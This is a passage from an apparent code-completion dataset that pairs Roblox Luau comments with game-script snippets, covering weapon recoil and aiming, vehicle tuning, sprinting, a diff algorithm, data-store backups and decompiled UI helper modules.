CFrame.Angles(math.rad(-L_269_), math.rad(-L_268_), math.rad(-L_268_)) * CFrame.fromAxisAngle(L_43_.Position, math.rad(-L_269_))\n\t\t\tL_140_ = L_140_ + 0.017\t\t\t\n\t\t\tL_141_ = L_266_\n\t\tend\n\t\t\n\t\tif L_24_.SwayEnabled == true then\n\t\t\tL_44_.C0 = L_44_.C0:lerp(L_153_ * L_127_ * L_138_ * L_141_, 0.1)\n\t\telse\n\t\t\tL_44_.C0 = L_44_.C0:lerp(L_153_ * L_138_, 0.1)\n\t\tend\t\t\n\t\t\n\t\tif L_63_ and not L_66_ and L_68_ and not L_60_ and not L_62_ and not Shooting then\n\t\t\tL_44_.C1 = L_44_.C1:lerp(L_44_.C0 * L_24_.SprintPos, 0.1)\n\t\telseif not L_63_ and not L_66_ and not L_68_ and not L_60_ and not L_62_ and not Shooting then\n\t\t\tL_44_.C1 = L_44_.C1:lerp(CFrame.new(), 0.1)\n\t\tend\n\t\t\n\t\tif L_60_ and not L_63_ then\n\t\t\tif not L_61_ then\n\t\t\t\tL_85_ = L_24_.AimCamRecoil\n\t\t\t\tL_84_ = L_24_.AimGunRecoil\n\t\t\t\tL_86_ = L_24_.AimKickback\n\t\t\telseif L_61_ then\n\t\t\t\tif L_88_ == 1 then\n\t\t\t\t\tL_85_ = L_24_.AimCamRecoil / 1.5\n\t\t\t\t\tL_84_ = L_24_.AimGunRecoil / 1.5\n\t\t\t\t\tL_86_ = L_24_.AimKickback / 1.5\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif L_88_ == 2 then\n\t\t\t\t\tL_85_ = L_24_.AimCamRecoil / 2\n\t\t\t\t\tL_84_ = L_24_.AimGunRecoil / 2\n\t\t\t\t\tL_86_ = L_24_.AimKickback / 2\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then\n\t\t\t\tL_44_.C1 = L_44_.C1:lerp(L_44_.C0 * L_52_.CFrame:toObjectSpace(L_43_.CFrame), L_24_.AimSpeed)\n\t\t\t\t\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_50_\n\t\t\t\tL_100_.MouseDeltaSensitivity = L_50_\n\t\t\tend\n\t\telseif not L_60_ and not L_63_ and L_15_ then\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then\n\t\t\t\tL_44_.C1 = L_44_.C1:lerp(CFrame.new(), L_24_.UnaimSpeed)\n\t\t\t\t\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_50_\n\t\t\t\tL_100_.MouseDeltaSensitivity = L_51_\n\t\t\tend\t\n\t\t\t\n\t\t\tif not L_61_ then\n\t\t\t\tL_85_ = L_24_.camrecoil\n\t\t\t\tL_84_ = L_24_.gunrecoil\n\t\t\t\tL_86_ = L_24_.Kickback\n\t\t\telseif L_61_ then\n\t\t\t\tif L_88_ == 1 then\n\t\t\t\t\tL_85_ = L_24_.camrecoil / 1.5\n\t\t\t\t\tL_84_ = L_24_.gunrecoil / 1.5\n\t\t\t\t\tL_86_ = L_24_.Kickback / 1.5\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif L_88_ == 2 then\n\t\t\t\t\tL_85_ = L_24_.camrecoil / 2\n\t\t\t\t\tL_84_ = L_24_.gunrecoil / 2\n\t\t\t\t\tL_86_ = L_24_.Kickback / 2\n\t\t\t\tend\n\t\t\tend\t\n\t\tend\n\t\t\n\t\tif Recoiling then\n\t\t\tL_139_ = CFrame.Angles(L_85_, 0, 0)\t\n\t\t\t--cam.CoordinateFrame = cam.CoordinateFrame * CFrame.fromEulerAnglesXYZ(math.rad(camrecoil*math.random(0,3)), math.rad(camrecoil*math.random(-1,1)), math.rad(camrecoil*math.random(-1,1)))\n\t\t\tL_44_.C0 = L_44_.C0:lerp(L_44_.C0 * CFrame.new(0, 0, L_84_) * CFrame.Angles(-math.rad(L_86_), 0, 0), 0.3)\n\t\telseif not Recoiling then\t\n\t\t\tL_139_ = CFrame.Angles(0, 0, 0)\n\t\t\tL_44_.C0 = L_44_.C0:lerp(CFrame.new(), 0.2)\n\t\tend\n\t\t\n\t\tif L_61_ then\n\t\t\tL_3_:WaitForChild('Humanoid').Jump = false\n\t\tend\n\t\t\n\t\tif L_15_ then \n\t\t\tL_5_.FieldOfView = L_5_.FieldOfView * (1 - L_24_.ZoomSpeed) + (L_92_ * L_24_.ZoomSpeed)\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then\n\t\t\t\tL_85_ = L_24_.AimCamRecoil\n\t\t\t\tL_84_ = L_24_.AimGunRecoil\n\t\t\t\tL_86_ = L_24_.AimKickback\n\t\t\t\t\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_50_\n\t\t\t\tL_100_.MouseDeltaSensitivity = L_50_\n\t\t\telseif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 and not L_60_ and not L_61_ then\n\t\t\t\tL_85_ = L_24_.camrecoil\n\t\t\t\tL_84_ = L_24_.gunrecoil\n\t\t\t\tL_86_ = L_24_.Kickback\n\t\t\t\t\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_50_\n\t\t\t\tL_100_.MouseDeltaSensitivity = L_51_\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_15_ and L_24_.CameraGo then --and (char.Head.Position - cam.CoordinateFrame.p).magnitude < 2 then\n\t\t\tL_4_.TargetFilter = game.Workspace\n\t\t\tlocal L_270_ = L_3_:WaitForChild(\"HumanoidRootPart\").CFrame * CFrame.new(0, 1.5, 0) * CFrame.new(L_3_:WaitForChild(\"Humanoid\").CameraOffset)\n\t\t\tL_47_.C0 = L_8_.CFrame:toObjectSpace(L_270_)\n\t\t\tL_47_.C1 = CFrame.Angles(-math.asin((L_4_.Hit.p - L_4_.Origin.p).unit.y), 0, 0)\n\t\t\tL_100_.MouseIconEnabled = false\t\n\t\tend\n\t\t\n\t\tif L_15_ and (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then\n\t\t\tif L_4_.Icon ~= \"http://www.roblox.com/asset?id=\" .. L_24_.TPSMouseIcon then\n\t\t\t\tL_4_.Icon = \"http://www.roblox.com/asset?id=\" .. L_24_.TPSMouseIcon\n\t\t\tend\n\t\t\tL_100_.MouseIconEnabled = true\n\t\t\t\n\t\t\tif L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then\n\t\t\t\tL_3_['Right Arm'].LocalTransparencyModifier = 1\n\t\t\t\tL_3_['Left Arm'].LocalTransparencyModifier = 1\n\t\t\tend\n\t\tend;\n\tend\nend)\n"} +{"prompt": "--// Services", "completion": "\nlocal L_103_ = game:GetService('RunService').RenderStepped\nlocal L_104_ = game:GetService('UserInputService')\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nend)();\nlocal v1 = {};\nlocal u2 = {};\nfunction v1.Debounce(p1, p2)\n\tif p2 == 0 then\n\t\tu2[p1] = nil;\n\t\treturn false;\n\tend;\n\tif u2[p1] and tick() <= u2[p1] then\n\t\treturn true;\n\tend;\n\tu2[p1] = tick() + p2;\n\treturn false;\nend;\nfunction v1.CheckDebounce(p3)\n\tif u2[p3] and tick() <= u2[p3] then\n\t\treturn true;\n\tend;\n\treturn false;\nend;\ntask.defer(function()\n\twhile true do\n\t\ttask.wait(10);\n\t\tfor v2, v3 in pairs((u1.Functions.CloneTable(u2))) do\n\t\t\tif v3 < tick() - 10 then\n\t\t\t\tu2[v2] = nil;\n\t\t\tend;\n\t\tend;\t\n\tend;\nend);\nreturn v1;\n"} +{"prompt": "-- Function to handle sprinting and meter depletion", "completion": "\nlocal function handleSprinting()\n\thumanoid.WalkSpeed = defaultWalkSpeed * (isSprinting and sprintSpeedMultiplier or 1)\n\n\twhile isSprinting and meterV > 0 do\n\t\tmeterV = meterV - 1\n\t\tif MeterLocation:FindFirstChild(\"Meter\" .. meterV + 1) then\n\t\t\tMeterLocation[\"Meter\" .. meterV + 1].ImageTransparency = 1\n\t\tend\n\t\twait(1)\n\tend\n\n\tif meterV <= 0 then\n\t\tisSprinting = false\n\t\thumanoid.WalkSpeed = defaultWalkSpeed\n\tend\nend\n"} +{"prompt": "--Listen to seat enter/exit", "completion": "\nVehicleSeating.AddSeat(DriverSeat, onEnterSeat, onExitSeat)\n\nfor _, seat in ipairs(AdditionalSeats) do\n\tVehicleSeating.AddSeat(seat, onEnterSeat, onExitSeat)\nend\n\nlocal function playerAdded(player)\n\tlocal playerGui = player:WaitForChild(\"PlayerGui\")\n\n\tif not playerGui:FindFirstChild(\"VehiclePromptScreenGui\") then\n\t\tlocal screenGui = Instance.new(\"ScreenGui\")\n\t\tscreenGui.ResetOnSpawn = false\n\t\tscreenGui.Name = \"VehiclePromptScreenGui\"\n\t\tscreenGui.Parent = playerGui\n\n\t\tlocal newLocalVehiclePromptGui = Scripts.LocalVehiclePromptGui:Clone()\n\t\tnewLocalVehiclePromptGui.CarValue.Value = TopModel\n\t\tnewLocalVehiclePromptGui.Parent = screenGui\n\tend\nend\n\nPlayers.PlayerAdded:Connect(playerAdded)\n\nfor _, player in ipairs(Players:GetPlayers()) do\n\tplayerAdded(player)\nend\n"} +{"prompt": "-- A complete function to extend reverse paths from (d - 1) to d changes.\n-- Return true if a path overlaps forward path of d changes in its diagonal.", "completion": "\nlocal function extendOverlappablePathsR(\n\td: number,\n\taStart: number,\n\taEnd: number,\n\tbStart: number,\n\tbEnd: number,\n\tisCommon: IsCommon,\n\taIndexesF: Indexes,\n\tiMaxF: number,\n\taIndexesR: Indexes, -- update indexes in sequence a of paths in diagonals kR\n\tiMaxR: number,\n\tdivision: Division -- update prop values if return true\n): boolean\n\tlocal bR = bEnd - aEnd -- bIndex = bR + aIndex - kR\n\tlocal aLength = aEnd - aStart\n\tlocal bLength = bEnd - bStart\n\tlocal baDeltaLength = bLength - aLength -- kR = kF + baDeltaLength\n\n\t-- Range of diagonals in which forward and reverse paths might overlap.\n\tlocal kMinOverlapR = baDeltaLength - d -- -d <= kF\n\tlocal kMaxOverlapR = baDeltaLength + d -- kF <= d\n\n\tlocal aIndexPrev1 = NOT_YET_SET -- prev value of [iR - 1] in next iteration\n\n\t-- Optimization: skip diagonals in which paths cannot ever overlap.\n\tlocal nR = d < iMaxR and d or iMaxR\n\n\t-- The diagonals kR = d - 2 * iR are odd when d is odd and even when d is even.\n\tlocal iR = 0\n\tlocal kR = d\n\twhile iR <= nR do\n\t\t-- To get first point of path segment, move one change in reverse direction\n\t\t-- from last point of previous path segment in an adjacent diagonal.\n\t\t-- In first iteration when iR === 0 and kR === d always insert.\n\t\t-- In last possible iteration when iR === d and kR === -d always delete.\n\t\t-- ROBLOX FIXME? should the values inserted into aIndexesF be 1-based so we don't have to adjust in several places here?\n\t\tlocal insert = iR == 0 or (iR ~= d and aIndexesR[iR + 1] < aIndexPrev1)\n\t\tlocal aLastPrev = insert and aIndexesR[iR + 1] or aIndexPrev1\n\t\tlocal aFirst: number = insert and aLastPrev -- vertical to insert from b\n\t\t\tor aLastPrev - 1 -- horizontal to delete from a\n\n\t\t-- To get last point of path segment, move along diagonal of common items.\n\t\tlocal bFirst = bR + aFirst - kR\n\t\tlocal nCommonR = countCommonItemsR(aStart, aFirst - 1, bStart, bFirst - 1, isCommon)\n\t\tlocal aLast = aFirst - nCommonR\n\n\t\taIndexPrev1 = aIndexesR[iR + 1]\n\t\taIndexesR[iR + 1] = aLast\n\n\t\tif kMinOverlapR <= kR and kR <= kMaxOverlapR then\n\t\t\t-- Solve for iF of forward path with d changes in diagonal kR:\n\t\t\t-- kF = kR - baDeltaLength\n\t\t\t-- kF = 2 * iF - d\n\t\t\tlocal iF = (d + (kR - baDeltaLength)) / 2\n\n\t\t\t-- If this reverse path overlaps the forward path in this diagonal,\n\t\t\t-- then this is a middle change of the index intervals.\n\t\t\tif iF <= iMaxF and aLast - 1 <= aIndexesF[iF + 1] then\n\t\t\t\tlocal bLast = bFirst - nCommonR\n\n\t\t\t\tdivision.nChangePreceding = d\n\t\t\t\tif d == aLast + bLast - aStart - bStart then\n\t\t\t\t\t-- Optimization: number of changes in reverse direction\n\t\t\t\t\t-- is equal to number of items in preceding interval,\n\t\t\t\t\t-- therefore it cannot contain any common items.\n\t\t\t\t\tdivision.aEndPreceding = aStart\n\t\t\t\t\tdivision.bEndPreceding = bStart\n\t\t\t\telse\n\t\t\t\t\tdivision.aEndPreceding = aLast\n\t\t\t\t\tdivision.bEndPreceding = bLast\n\t\t\t\tend\n\n\t\t\t\tdivision.nCommonPreceding = nCommonR\n\t\t\t\tif nCommonR ~= 0 then\n\t\t\t\t\t-- The last point of reverse path segment is start of common subsequence.\n\t\t\t\t\tdivision.aCommonPreceding = aLast\n\t\t\t\t\tdivision.bCommonPreceding = bLast\n\t\t\t\tend\n\n\t\t\t\tdivision.nChangeFollowing = d - 1\n\t\t\t\tif d == 1 then\n\t\t\t\t\t-- There is no previous path segment.\n\t\t\t\t\tdivision.nCommonFollowing = 0\n\t\t\t\t\tdivision.aStartFollowing = aEnd\n\t\t\t\t\tdivision.bStartFollowing = bEnd\n\t\t\t\telse\n\t\t\t\t\t-- Unlike the Myers algorithm which finds only the middle \u201csnake\u201d\n\t\t\t\t\t-- this package can find two common subsequences per division.\n\t\t\t\t\t-- Last point of previous path segment is on an adjacent diagonal.\n\t\t\t\t\tlocal bLastPrev = bR + aLastPrev - (insert and kR - 1 or kR + 1)\n\n\t\t\t\t\t-- Because of invariant that intervals following the middle change\n\t\t\t\t\t-- cannot have common items at the start,\n\t\t\t\t\t-- move in forward direction along a diagonal of common items.\n\t\t\t\t\tlocal nCommonF = countCommonItemsF(aLastPrev, aEnd, bLastPrev, bEnd, isCommon)\n\n\t\t\t\t\tdivision.nCommonFollowing = nCommonF\n\t\t\t\t\tif nCommonF ~= 0 then\n\t\t\t\t\t\t-- The last point of reverse path segment is start of common subsequence.\n\t\t\t\t\t\tdivision.aCommonFollowing = aLastPrev\n\t\t\t\t\t\tdivision.bCommonFollowing = bLastPrev\n\t\t\t\t\tend\n\n\t\t\t\t\tlocal aStartFollowing = aLastPrev + nCommonF -- aFirstPrev\n\t\t\t\t\tlocal bStartFollowing = bLastPrev + nCommonF -- bFirstPrev\n\n\t\t\t\t\tif d - 1 == aEnd + bEnd - aStartFollowing - bStartFollowing then\n\t\t\t\t\t\t-- Optimization: number of changes in forward direction\n\t\t\t\t\t\t-- is equal to number of items in following interval,\n\t\t\t\t\t\t-- therefore it cannot contain any common items.\n\t\t\t\t\t\tdivision.aStartFollowing = aEnd\n\t\t\t\t\t\tdivision.bStartFollowing = bEnd\n\t\t\t\t\telse\n\t\t\t\t\t\tdivision.aStartFollowing = aStartFollowing\n\t\t\t\t\t\tdivision.bStartFollowing = bStartFollowing\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\tiR += 1\n\t\tkR -= 2\n\tend\n\n\treturn false\nend\n"} +{"prompt": "--[[\n\tFired when state is left\n]]", "completion": "\nfunction Transitions.onLeaveGame(stateMachine, event, from, to)\n\tServerGame.leave(stateMachine)\nend\n"} +{"prompt": "-- waitChildren/EventFolder does not contain all the remote events, because the server version could be older than the client version.\n-- In that case it would not create the new events.\n-- These events are accessed directly from DefaultChatSystemChatEvents", "completion": "\n\nlocal useEvents = {}\n\nlocal FoundAllEventsEvent = Instance.new(\"BindableEvent\")\n\nfunction TryRemoveChildWithVerifyingIsCorrectType(child)\n\tif (waitChildren[child.Name] and child:IsA(waitChildren[child.Name])) then\n\t\twaitChildren[child.Name] = nil\n\t\tuseEvents[child.Name] = child\n\t\tnumChildrenRemaining = numChildrenRemaining - 1\n\tend\nend\n\nfor i, child in pairs(EventFolder:GetChildren()) do\n\tTryRemoveChildWithVerifyingIsCorrectType(child)\nend\n\nif (numChildrenRemaining > 0) then\n\tlocal con = EventFolder.ChildAdded:connect(function(child)\n\t\tTryRemoveChildWithVerifyingIsCorrectType(child)\n\t\tif (numChildrenRemaining < 1) then\n\t\t\tFoundAllEventsEvent:Fire()\n\t\tend\n\tend)\n\n\tFoundAllEventsEvent.Event:wait()\n\tcon:disconnect()\n\n\tFoundAllEventsEvent:Destroy()\nend\n\nEventFolder = useEvents\n\n\n"} +{"prompt": "--[[**\n\t\n\tAdds a backup to the data store if :Get() fails a specified amount of times.\n\tWill return the value provided (if the value is nil, then the default value of :Get() will be returned)\n\tand mark the data store as a backup store, and attempts to :Save() will not truly save.\n\t\n\n\t\n\tNumber of retries before the backup will be used.\n\t\n\n\t\n\tThe value to return to :Get() in the case of a failure.\n\tYou can keep this blank and the default value you provided with :Get() will be used instead.\n\t\n**--]]", "completion": "\nfunction DataStore:SetBackup(retries, value)\n\tself.backupRetries = retries\n\tself.backupValue = value\nend\n"} +{"prompt": "--!strict", "completion": "\n\nlocal trimStart = require(script.Parent.trimStart)\nlocal trimEnd = require(script.Parent.trimEnd)\n\nreturn function(source: string): string\n\treturn trimStart(trimEnd(source))\nend\n"} +{"prompt": "--// Ammo Settings\t\t\t", "completion": "\n\tAmmo = 30;\n\tStoredAmmo = 30;\n\tMagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;\n\tExplosiveAmmo = 3;\n\t"} +{"prompt": "-- Manually call OnTouched for parts the rocket might have spawned inside of\n--TODO: Remove when Touched correctly fires for parts spawned within other parts", "completion": "\nlocal partClone = Rocket:Clone()\npartClone:ClearAllChildren()\npartClone.Transparency = 1"} +{"prompt": "--Hidden Stash--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.Bux:clone()\n\t\tprtc.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "--------------------[ MATH FUNCTIONS ]------------------------------------------------", "completion": "\n\nfunction Map(Val, fromLow, fromHigh, toLow, toHigh)\n\treturn (Val - fromLow) * (toHigh - toLow) / (fromHigh - fromLow) + toLow\nend\n\nfunction numLerp(A, B, Alpha)\n\treturn A + (B - A) * Alpha\nend\n\nfunction RAND(Min, Max, Accuracy)\n\treturn numLerp(Min, Max, math.random())\n\t--[[local Inverse = 1 / (Accuracy or 1)\n\treturn (math.random(Min * Inverse, Max * Inverse) / Inverse)]]\nend\n\nfunction Round(Num, toNearest)\n\treturn math.floor(Num / toNearest + 0.5) * toNearest\nend\n\nfunction getNearestPoint(A, B, Origin)\n\tlocal A2 = (A - Origin).magnitude\n\tlocal B2 = (B - Origin).magnitude\n\treturn (math.min(A2, B2) == A2 and A or B)\nend\n"} +{"prompt": "-- Function to bind to touch moved if player is on mobile", "completion": "\nlocal function mobileFrame(touch, processed)\n\t-- Check to see if the touch was on a UI element. If so, we don't want to update anything\n\tif not processed then\n\t\t-- Calculate touch position in world space. Uses Stravant's ScreenSpace Module script\n\t\t-- to create a ray from the camera.\n\t\tlocal test = screenSpace.ScreenToWorld(touch.Position.X, touch.Position.Y, 1)\n\t\tlocal nearPos = game.Workspace.CurrentCamera.CoordinateFrame:vectorToWorldSpace(screenSpace.ScreenToWorld(touch.Position.X, touch.Position.Y, 1))\n\t\tnearPos = game.Workspace.CurrentCamera.CoordinateFrame.p - nearPos\n\t\tlocal farPos = screenSpace.ScreenToWorld(touch.Position.X, touch.Position.Y,50) \n\t\tfarPos = game.Workspace.CurrentCamera.CoordinateFrame:vectorToWorldSpace(farPos) * -1\n\t\tif farPos.magnitude > 900 then\n\t\t\tfarPos = farPos.unit * 900\n\t\tend\n\t\tlocal ray = Ray.new(nearPos, farPos)\n\t\tlocal part, pos = game.Workspace:FindPartOnRay(ray, player.Character)\n\t\t\n\t\t-- if a position was found on the ray then update the character's rotation\n\t\tif pos then\n\t\t\tframe(pos)\n\t\tend\n\tend\nend\n\nlocal oldIcon = nil"} +{"prompt": "-- Some cool functions idk\n-- Andrew Bereza", "completion": "\n\nlocal Utl = {}\n\nfunction Utl.CurrentDay()\n\treturn math.floor(os.time()/86400)\nend\n\nfunction Utl.GetPlayerData(PlayerId)\n\tlocal Module = game.ServerStorage.PlayerData:FindFirstChild(tostring(PlayerId))\n\tif Module then\n\t\treturn require(Module)\n\tend\nend\n\nfunction Utl.NewPlayerData(Player, PlayerData)\n\tlocal Module = game.ServerStorage.PlayerData:FindFirstChild(tostring(Player.userId))\n\tif Module then \n\t\tModule:Destroy()\n\tend\n\tlocal NewModule = game.ServerStorage.PlayerDataTemplate:Clone()\n\tNewModule.Name = tostring(Player.userId)\n\tNewModule.Parent = game.ServerStorage.PlayerData\n\tlocal FreshTable = require(NewModule)\n\tfor Key,Value in pairs(PlayerData) do\n\t\tFreshTable[Key] = Value\n\tend\nend\n\nfunction Utl.IntToBool(Int)\n\treturn (Int == 1 and true) or false\nend\n\nfunction Utl.BoolToInt(Bool)\n\treturn (Bool and 1) or 0\nend\n\nfunction Utl.GetTycoon(Player)\n\tfor i,Tycoon in pairs(workspace.Tycoons:GetChildren()) do\n\t\tif Tycoon.Owner.Value == Player then\n\t\t\treturn Tycoon\n\t\tend\n\tend\nend\n\nfunction Utl.GetEmptyTycoon()\n\tfor i,Tycoon in pairs(workspace.Tycoons:GetChildren()) do\n\t\tif Tycoon.Owner.Value == nil then\n\t\t\treturn Tycoon\n\t\telseif Tycoon.Owner.Value.Parent ~= game.Players then\n\t\t\tTycoon.Owner.Value = nil -- Clears it up for the next person\n\t\tend\n\tend\nend\n\nfunction Utl.CreateTag(Player, Name)\n\tif Player:FindFirstChild(Name) == nil then\n\t\tlocal Tag = Instance.new(\"BoolValue\")\n\t\tTag.Name = Name\n\t\tTag.Parent = Player\n\tend\nend\n\n\nUtl.ShuttingDown = false\n\nreturn Utl\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\", \"Semi\", \"Manual\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"RPM\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 4 \t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3.70\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t4 \t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t2.7 \t\t,\n\t\t--[[ 3 ]]\t\t1.75\t \t,\n\t\t--[[ 4 ]]\t\t1.3 \t\t,\n\t\t--[[ 5 ]]\t\t0.9 \t\t,\n\t\t--[[ 6 ]]\t\t0.8\t \t,\n\t}\n\tTune.FDMult\t\t\t= 1.0\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "-- Resizes a model to the specified scale", "completion": "\nlocal function scaleModel(model, scale)\t\n\tlocal primary = model.PrimaryPart\n\tlocal primaryCf = primary.CFrame\n\t\n\tfor _,v in pairs(model:GetDescendants()) do\n\t\tif (v:IsA(\"BasePart\")) then\n\t\t\tv.Size = (v.Size * scale)\n\t\t\tif (v ~= primary) then\n\t\t\t\tv.CFrame = (primaryCf + (primaryCf:inverse() * v.Position * scale))\n\t\t\tend\n\t\tend\n\tend\n\t\n\treturn model\nend\n"} +{"prompt": "-- << CHECK INITIALIZED >>", "completion": "\nfunction main:CheckInitialized()\n\tif not main.initialized then\n\t\tscript.Parent.Parent:WaitForChild(\"Signals\"):WaitForChild(\"Initialized\").Event:Wait()\n\tend\n\treturn main\nend\n\n\n"} +{"prompt": "-- functions", "completion": "\n\nfunction onDied()\n\tsDied:Play()\n\twait(2.5)\n\tscript.Parent:Destroy()\nend\n\nfunction onState(state, sound)\n\tif state then\n\t\tsound:Play()\n\telse\n\t\tsound:Pause()\n\tend\nend\n\nfunction onRunning(speed)\n\tif speed>0 then\n\t\tsRunning:Play()\n\telse\n\t\tsRunning:Pause()\n\tend\nend\n"} +{"prompt": "------------", "completion": "\nelseif Clicking == false then\nend\nend)\n\nBrightness.MouseButton1Down:Connect(function()\nClicking = true\nend)\nBrightness.MouseLeave:Connect(function()\nClicking = false\nend)\nBrightness.MouseButton1Up:Connect(function()\nClicking = false\nend)\nBrightness.Picker.MouseButton1Up:Connect(function()\nClicking = false\nend)\n"} +{"prompt": "--[[Brakes]]", "completion": "\n\tTune.ABSEnabled\t\t= true\t\t-- Implements ABS\n\tTune.ABSThreshold\t= 20\t\t-- Slip speed allowed before ABS starts working (in SPS) \n\n\tTune.FBrakeForce\t= 1500\t\t-- Front brake force\n\tTune.RBrakeForce\t= 1000\t\t-- Rear brake force\n\tTune.PBrakeForce\t= 5000\t\t-- Handbrake force\n\t\n\tTune.FLgcyBForce\t= 15000\t\t-- Front brake force [PGS OFF]\n\tTune.RLgcyBForce\t= 10000\t\t-- Rear brake force [PGS OFF]\n\tTune.LgcyPBForce\t= 25000\t\t-- Handbrake force [PGS OFF]\n\t"} +{"prompt": "--[[\n\tConstructs a new ForPairs object which maps pairs of a table using\n\ta `processor` function.\n\n\tOptionally, a `destructor` function can be specified for cleaning up values.\n\tIf omitted, the default cleanup function will be used instead.\n\n\tAdditionally, a `meta` table/value can optionally be returned to pass data created\n\twhen running the processor to the destructor when the created object is cleaned up.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal PubTypes = require(Package.PubTypes)\nlocal Types = require(Package.Types)\nlocal captureDependencies = require(Package.Dependencies.captureDependencies)\nlocal initDependency = require(Package.Dependencies.initDependency)\nlocal useDependency = require(Package.Dependencies.useDependency)\nlocal parseError = require(Package.Logging.parseError)\nlocal logErrorNonFatal = require(Package.Logging.logErrorNonFatal)\nlocal logError = require(Package.Logging.logError)\nlocal logWarn = require(Package.Logging.logWarn)\nlocal cleanup = require(Package.Utility.cleanup)\nlocal needsDestruction = require(Package.Utility.needsDestruction)\n\nlocal class = {}\n\nlocal CLASS_METATABLE = { __index = class }\nlocal WEAK_KEYS_METATABLE = { __mode = \"k\" }\n"} +{"prompt": "-- The maximum distance the can can shoot, this value should never go above 1000", "completion": "\nlocal Range = 400"} +{"prompt": "-- State: Wether or not the light is on", "completion": "\nlocal work = script.Parent.Value\nlocal status = script.Parent.Parent.Parent.On\nlocal LED = script.Parent.Parent.LED\n\nfunction onTouch()\n\twait()\n\tstatus.Value = true\n\tLED.Material = \"Glass\"\n\tLED.BrickColor = BrickColor.new(\"Medium stone grey\")\n\twait(30)\n\tstatus.Value = false\n\tLED.Material = \"Neon\"\n\tLED.BrickColor = BrickColor.new(\"Forest green\")\nend\t\n\nscript.Parent.Touched:connect(onTouch)\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = {};\nlocal v2 = Vector2.new(0, 1);\nlocal v3 = Vector2.new(0.1, 0.5);\nlocal v4 = Vector2.new(-0.1, 0.5);\nlocal l__TweenService__5 = game:GetService(\"TweenService\");\nlocal l__RunService__6 = game:GetService(\"RunService\");\nlocal l__Workspace__7 = game:GetService(\"Workspace\");\nlocal l__LocalPlayer__8 = game:GetService(\"Players\").LocalPlayer;\nlocal u1 = Vector2.new(1.5, 1.5);\nlocal u2 = false;\nlocal u3 = \"rbxasset://textures/ui/traildot.png\";\nlocal u4 = UDim2.new(0, 42, 0, 50);\nlocal u5 = Vector2.new(0, 0.5);\nlocal u6 = \"rbxasset://textures/ui/waypoint.png\";\nlocal u7 = Vector2.new(0, 0.5);\nlocal function v9()\n\tlocal v10 = Instance.new(\"Part\");\n\tv10.Size = Vector3.new(1, 1, 1);\n\tv10.Anchored = true;\n\tv10.CanCollide = false;\n\tv10.Name = \"TrailDot\";\n\tv10.Transparency = 1;\n\tlocal v11 = Instance.new(\"ImageHandleAdornment\");\n\tv11.Name = 